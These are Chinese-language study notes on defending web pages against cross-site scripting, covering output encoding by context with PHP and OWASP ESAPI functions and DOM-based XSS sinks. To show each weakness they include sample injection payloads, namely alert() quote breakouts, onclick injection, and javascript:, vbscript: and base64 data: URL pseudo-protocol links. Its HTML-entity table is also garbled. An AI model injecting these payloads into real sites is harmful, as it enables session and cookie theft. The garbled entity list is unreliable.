輸入檢查嗎,輸入檢查的邏輯必須放在服務器端的代碼上,。如果只是客戶端的JS進行輸入檢查,很容易就被攻擊者繞過了,JS客戶端檢查可以節約服務器資源。。比較稚嫩的可以檢查是否有<script>,javascript等敏感字符,這種可以稱爲XSS Filter
PHP輸出檢查:
htmlentities() 函數把字符轉換爲 HTML 實體。
htmlspecialchars() 函數把一些預定義的字符轉換爲 HTML 實體。
預定義的字符是:
- & (和號) 成爲 &
- " (雙引號) 成爲 "
- ' (單引號) 成爲 '
- < (小於) 成爲 <
- > (大於) 成爲 >
javascriptEncpde 的變量輸出一定要在 引號內。 代碼 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
XMLEncode 與 HtmlEncode類似 JSONEncode 與 JavascriptEncode類似
正確防禦XSS:
1) HTML標籤中輸出的變量,如果未做任何處理,都能直接導致XSS, eg: <div>$var</div>
防禦是對 變量使用 HtmlEncode
2)HTML屬性中輸出, <div id="abc" name="$var"></div> ,與1類似,採用HtmlEncode
OWASP ESAPI 推薦了一種更嚴格的 HtmlEncode 除了字母,數字,其他所有的特殊字符都被編碼爲HTMLEntitle
String safe = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")) 這種嚴格方式保證不會出錯
3)<script> 標籤中輸出, <scriput>var x = "$var";</script>, 應該首先保證輸出的變量在引號中
攻擊者首先應閉合引號 才能實施攻擊, <script>var = "";alert(/xss/);//"</script>
防禦用 JavascriptEncode
4)事件中輸出, <a href =# οnclick="funcA('$var')" >test</a>
攻擊代碼:');alert(/xss/);// -> <a href =# οnclick="funcA('');alert(/xss/);//')" >test</a>
防禦用 JavascriptEncode
5) CSS 中輸出
防禦用 ESAPI 中的 encodeForCSS 函數
String safe = ESAPI.encoder().encodeForCSS(request.getParameter("input")) ,除了字母,數字,其他所有的特殊字符都被編碼爲"\uHH".
6) 在地址中輸出,比較複雜, URL 的path 和 search 中輸出,
<a href="http://www.xxx.com/?test=$var" >test</a>
<a href="http://www.xxx.com/?test=" οnclick=alert(1)"" >test</a>
使用 URLEncode 即可,將字符轉換爲 "%uHH", 比如空格是 "%20", 小於號 是 "%3c"
URL 組成: 協議+HOST+path+search+hash
<a href="$var" >test</a> ->協議欺騙 <a href="javascript:alert(1);" >test</a>
除了javascript 協議 還可以是 vbscript dataURL 等僞協議,
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="
<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>
檢查是否以 http 開頭,如果不是 自動添加,以保證不會出現僞協議,再對變量進行,URLEncode
String safe = ESAPI.encoder().encodeForURL(request.getParameter("input")); 未解決 僞協議問題
ANTI-SAMY 目前最好的XSS FILTER
另一個 開源項目: HTTMLPurify
7)上面都是服務器應用直接輸出到HTML頁面 的XSS,不適用於 DOM BASED XSS
<script>
var x = "$var";
document.write("<a href='"+x+"'>test</a>");
</script>
即使 服務器端 對 $var 進行了 javascriptEescape 但是在write 時,仍然能產生XSS
當document.write 輸出數據到HTML頁面時,瀏覽器沖洗渲染了頁面,在<script>標籤執行時已經將x 解碼
最終造成 <a href='' οnclick=alert(1);//'' >test</a>
防禦方法:在 $var 輸出到<script> 時,應該執行一次 javascriptEncode ,其次,在document.write 輸出到HTML頁面時分情況:
1)輸出到事件,腳本,則要做一次javascriptEncode
2)輸出到HTML頁面內容或者屬性,就要做一次 HtmlEncode, 那麼輸出到頁面的有:
document.write()
document.writeln()
xxx.innertHTML =
xxx.outerHTML = (innerHTML,innerTEXT,outerHTML,outerTEXT解釋點這裏)
innerHTML.replace
document.attachEvent()
window.attachEvent()